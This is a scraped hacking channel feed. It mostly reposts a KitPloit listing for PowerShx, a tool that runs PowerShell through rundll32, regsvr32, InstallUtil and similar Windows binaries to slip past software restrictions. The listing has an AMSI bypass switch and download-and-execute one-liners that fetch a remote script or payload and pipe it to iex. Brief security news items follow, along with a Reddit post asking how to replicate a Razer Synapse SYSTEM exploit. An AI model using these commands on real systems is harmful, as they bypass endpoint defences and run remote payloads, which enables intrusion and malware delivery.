Hacking Articles Tips Tricks Videos Tutorials

Unmanaged PowerShell (https://www.kitploit.com/search/label/PowerShell) execution using DLLs or a standalone executable.
Introduction
PowerShx is a rewrite and expansion on the PowerShdll (https://github.com/p3nt4/PowerShdll) project. PowerShx provide functionalities for bypassing (https://www.kitploit.com/search/label/Bypassing) AMSI and running PS Cmdlets.
Features
Run Powershell with DLLs using rundll32.exe, installutil.exe, regsvcs.exe or regasm.exe, regsvr32.exe.Run Powershell without powershell.exe or powershell_ise.exeAMSI Bypass features.Run Powershell scripts directly from the command line (https://www.kitploit.com/search/label/Command%20Line) or Powershell filesImport Powershell modules and execute Powershell Cmdlets.
Usage

.dll version

rundll32
rundll32 PowerShx.dll,main -f Run the script passed as argument rundll32 PowerShx.dll,main -f -c Load a script and run a PS cmdlet rundll32 PowerShx.dll,main -w Start an interactive console in a new window rundll32 PowerShx.dll,main -i Start an interactive console rundll32 PowerShx.dll,main -s Attempt to bypass AMSI rundll32 PowerShx.dll,main -v Print Execution Output to the console ">rundll32 PowerShx.dll,main -e
rundll32 PowerShx.dll,main -f Run the script passed as argument
rundll32 PowerShx.dll,main -f -c Load a script and run a PS cmdlet
rundll32 PowerShx.dll,main -w Start an interactive console in a new window
rundll32 PowerShx.dll,main -i Start an interactive console
rundll32 PowerShx.dll,main -s Attempt to bypass AMSI
rundll32 PowerShx.dll,main -v Print Execution Output to the console

Alternatives (Credit to SubTee for these techniques):
Calls DllUnregisterServer regsvr32 /s PowerShx.dll --> Calls DllRegisterServer ">1.
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
2.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShx.dll
3.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShx.dll
4.
regsvr32 /s /u PowerShx.dll -->Calls DllUnregisterServer
regsvr32 /s PowerShx.dll --> Calls DllRegisterServer

.exe version
PowerShx.exe -f Run the script passed as argument PowerShx.exe -f -c Load a script and run a PS cmdlet PowerShx.exe -s Attempt to bypass AMSI. ">PowerShx.exe -i Start an interactive console
PowerShx.exe -e
PowerShx.exe -f Run the script passed as argument
PowerShx.exe -f -c Load a script and run a PS cmdlet
PowerShx.exe -s Attempt to bypass AMSI.

Embedded payloads
Payloads can be embedded by updating the data dictionary (https://www.kitploit.com/search/label/Dictionary) "Common.Payloads.PayloadDict" in the "Common" project and calling it in the method PsSession.cs -> Handle() . Example: in Handle() method:private void Handle(Options options)
{
// Pre-execution before user script
_ps.Exe(Payloads.PayloadDict["amsi"]);
}

Examples

Run a base64 encoded script
rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex

PowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
Note: Empire stagers need to be decoded using [System.Text.Encoding]::Unicode
Run a base64 encoded script

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Kitploit – Maintenance in Progress

Kitploit is temporarily under maintenance. We’ll be back shortly with improvements.

6 viewsedited 20:54

Hacking Articles Tips Tricks Videos Tutorials

rundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;

PowerShx.exe -e "IEX ((new-object net.webclient).downloadstring('http://192.168.100/payload-http'))"

Requirements
.NET 4
Known Issues
Some errors do not seem to show in the output. May be confusing as commands such as Import-Module do not output an error on failure. Make sure you have typed your commands correctly.In dll mode, interractive mode and command output rely on hijacking (https://www.kitploit.com/search/label/Hijacking) the parent process' console. If the parent process does not have a console, use the -n switch to not show output otherwise the application will crash.Due to the way Rundll32 handles arguments, using several space characters between switches and arguments may cause issues. Multiple spaces inside the scripts are okay.

Download PowerShx (https://github.com/iomoath/PowerShx)

___________________________
@hacking_Attack
@Hacking_Video

7 viewsedited 20:55

Hacking Articles Tips Tricks Videos Tutorials

7 views21:46

Hacking Articles Tips Tricks Videos Tutorials

Photo

KitPloit - PenTest Tools!
PowerShx - Run Powershell Without Software Restrictions

https://blogger.googleusercontent.com/img/a/AVvXsEhX9hbGzB6P5Rl6fexaOhIlftUY5D182XjMC0aBE3dQr1B-6HznMejOY0n9ZOntasN2RV2GlPVFdxliuBt0cfoivz_jRhJuhFL4KDBJhlj8lp1DigCD-UaA0KkP8DM4ANjcu6zWhhM8u_COFwD6-Ej1jjUatXQ_xKiLeb0JwoSIfjitONhM1Fl3qYNZEg=w640-h344 Unmanaged PowerShell execution using DLLs or a standalone executable. IntroductionPowerShx is a rewrite and expansion on the PowerShdll project. PowerShx provide functionalities for bypassing AMSI and running PS Cmdlets. Features* Run Powershell with DLLs using rundll32.exe, installutil.exe, regsvcs.exe or regasm.exe, regsvr32.exe.
* Run Powershell without powershell.exe or powershell_ise.exe
* AMSI Bypass features.
* Run Powershell scripts directly from the command line or Powershell files
* Import Powershell modules and execute Powershell Cmdlets. Usage.dll versionrundll32rundll32 PowerShx.dll,main -e Alternatives (Credit to SubTee for these techniques):

1. 
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
2. 
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShx.dll
3. 
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShx.dll
4. 
regsvr32 /s  /u PowerShx.dll -->Calls DllUnregisterServer
regsvr32 /s PowerShx.dll --> Calls DllRegisterServer

.exe version

PowerShx.exe -i                          Start an interactive console
PowerShx.exe -e

Embedded payloadsPayloads can be embedded by updating the data dictionary "Common.Payloads.PayloadDict" in the "Common" project and calling it in the method PsSession.cs -> Handle() . Example: in Handle() method:

private void Handle(Options options)
{
// Pre-execution before user script
_ps.Exe(Payloads.PayloadDict["amsi"]);
}

ExamplesRun a base64 encoded script

rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex

PowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex

Note: Empire stagers need to be decoded using [System.Text.Encoding]::Unicode Run a base64 encoded script

rundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;

PowerShx.exe -e "IEX ((new-object net.webclient).downloadstring('http://192.168.100/payload-http'))"

Requirements.NET 4 Known IssuesSome errors do not seem to show in the output. May be confusing as commands such as Import-Module do not output an error on failure. Make sure you have typed your commands correctly.

In dll mode, interractive mode and command output rely on hijacking the parent process' console. If the[...]

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Kitploit – Maintenance in Progress

Kitploit is temporarily under maintenance. We’ll be back shortly with improvements.

9 viewsedited 21:46

Hacking Articles Tips Tricks Videos Tutorials

KitPloit - PenTest Tools! PowerShx - Run Powershell Without Software Restrictions https://blogger.googleusercontent.com/img/a/AVvXsEhX9hbGzB6P5Rl6fexaOhIlftUY5D182XjMC0aBE3dQr1B-6HznMejOY0n9ZOntasN2RV2GlPVFdxliuBt0cfoivz_jRhJuhFL4KDBJhlj8lp1DigCD-UaA0KkP…

parent process does not have a console, use the -n switch to not show output otherwise the application will crash.

Due to the way Rundll32 handles arguments, using several space characters between switches and arguments may cause issues. Multiple spaces inside the scripts are okay. Download PowerShx

___________________________
@hacking_Attack
@Hacking_Video

7 viewsedited 21:46

Hacking Articles Tips Tricks Videos Tutorials

Dark Reading: Attacks/Breaches
'TodayZoo' Phishing Kit Cobbled Together From Other Malware

Microsoft's analysis of a recent phishing attack shows how cybercriminals are mixing and matching to efficiently develop their attack frameworks.

7 views21:53

Source

Hacking Articles Tips Tricks Videos Tutorials

Dark Reading: Attacks/Breaches
What Does Better Insider Risk Management Look Like?

Conventional data security tools do not address insider risk — a growing problem in today's remote-hybrid world. We need a better way to manage insider risk.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading

What Does Better Insider Risk Management Look Like?

Conventional data security tools do not address insider risk — a growing problem in today's remote-hybrid world. We need a better way to manage insider risk.

7 viewsedited 21:53

Hacking Articles Tips Tricks Videos Tutorials

Dark Reading: Attacks/Breaches
aDolus Raises $2.5M to Secure Critical Infrastructure and Grow Sales and Marketing Team

Software supply chain security experts to drive aggressive go-to-market strategy

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading

aDolus Raises $2.5M to Secure Critical Infrastructure and Grow Sales and Marketing Team

Software supply chain security experts to drive aggressive go-to-market strategy

7 viewsedited 21:53

Hacking Articles Tips Tricks Videos Tutorials

PowerShx - Run Powershell Without Software Restrictions

Unmanaged PowerShell execution using DLLs or a standalone executable.IntroductionPowerShx is a rewrite and expansion on the PowerShdll project. PowerShx provide functionalities for bypassing AMSI and running PS Cmdlets.FeaturesRun Powershell with DLLs using rundll32.exe, installutil.exe, regsvcs.exe or regasm.exe, regsvr32.exe.Run Powershell without powershell.exe or powershell_ise.exeAMSI Bypass features.Run Powershell scripts directly from the command line or Powershell filesImport Powershell modules and execute Powershell Cmdlets.Usage.dll versionrundll32rundll32 PowerShx.dll,main -e rundll32 PowerShx.dll,main -f Run the script passed as argumentrundll32 PowerShx.dll,main -f -c Load a script and run a PS cmdletrundll32 PowerShx.dll,main -w Start an interactive console in a new windowrundll32 PowerShx.dll,main -i Start an interactive consolerundll32 PowerShx.dll,main -s Attempt to bypass AMSIrundll32 PowerShx.dll,main -v Print Execution Output to the consoleAlternatives (Credit to SubTee for these techniques):1. x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll2. x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShx.dll x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShx.dll3. x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShx.dll x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShx.dll4. regsvr32 /s /u PowerShx.dll -->Calls DllUnregisterServer regsvr32 /s PowerShx.dll --> Calls DllRegisterServer.exe versionPowerShx.exe -i Start an interactive consolePowerShx.exe -e PowerShx.exe -f Run the script passed as argumentPowerShx.exe -f -c Load a script and run a PS cmdletPowerShx.exe -s Attempt to bypass AMSI.Embedded payloadsPayloads can be embedded by updating the data dictionary "Common.Payloads.PayloadDict" in the "Common" project and calling it in the method PsSession.cs -> Handle() . Example: in Handle() method:private void Handle(Options options){ // Pre-execution before user script _ps.Exe(Payloads.PayloadDict"amsi");}ExamplesRun a base64 encoded scriptrundll32 PowerShx.dll,main System.Text.Encoding::Default.GetString(System.Convert::FromBase64String("BASE64")) ^| iexPowerShx.exe -e System.Text.Encoding::Default.GetString(System.Convert::FromBase64String("BASE64")) ^| iexNote: Empire stagers need to be decoded using System.Text.Encoding::UnicodeRun a base64 encoded scriptrundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;PowerShx.exe -e "IEX ((new-object net.webclient).downloadstring('http://192.168.100/payload-http'))"Requirements.NET 4Known IssuesSome errors do not seem to show in the output. May be confusing as commands such as Import-Module do not output an error on failure. Make sure you have typed your commands correctly.In dll mode, interractive mode and command output rely on hijacking the parent process' console. If the parent process does not have a console, use the -n switch to not show output otherwise the application will crash.Due to the way Rundll32 handles arguments, using several space characters between switches and arguments may cause issues. Multiple spaces inside the scripts are okay.Download PowerShx
Read more...

___________________________
@hacking_Attack
@Hacking_Video

8 viewsedited 22:16

Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
Alibaba app acting highly suspicious on Android

When I am currently running the latest version of the Alibaba app on Android 11 it behaves as if I have an active call on my phone. For instance as soon as I launch it the volume rocker suddenly controls phone conversation volume when it normally is set to media volume. If the app is running in the background video playback in YouTube is halted or podcasts or songs in Spotify suddenly stop. As soon as I go into the app info of Alibaba and Force Stop it everything is back to normal but as soon as I launch the Alibaba app again my phone is acting as if I have an active call. In granular permissions I have not granted Phone Access to the app, only media files.

So my question is, are users potentially being spied on through this app? Or am I just paranoid. Others have mentioned this weird behavior here, too.

https://www.reddit.com/r/android_beta/comments/pwnmru/volume_slider_stuck_on_call_volume_and_phone/

Maybe someone with a little more expertise can look into this.

Android 11 with October 1 2021 security update

Alibaba version 7.43.0 com.alibaba.intl.android.apps.poseidon

submitted by /u/W1nd
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

From the hacking community on Reddit

Explore this post and more from the hacking community

7 viewsedited 23:25

Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
Razed Synapse Exploit Replication

I am looking for a way to replicate the Razer Synapse exploit that granted SYSTEM permissions through its UI. Are there any other devices that this exploit is known on? Or another way to elevate to SYSTEM through physical access?

submitted by /u/Kwuahh
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Razed Synapse Exploit Replication

I am looking for a way to replicate the Razer Synapse exploit that granted SYSTEM permissions through its UI. Are there any other devices that...

8 viewsedited 23:25

About

Blog

Apps

Platform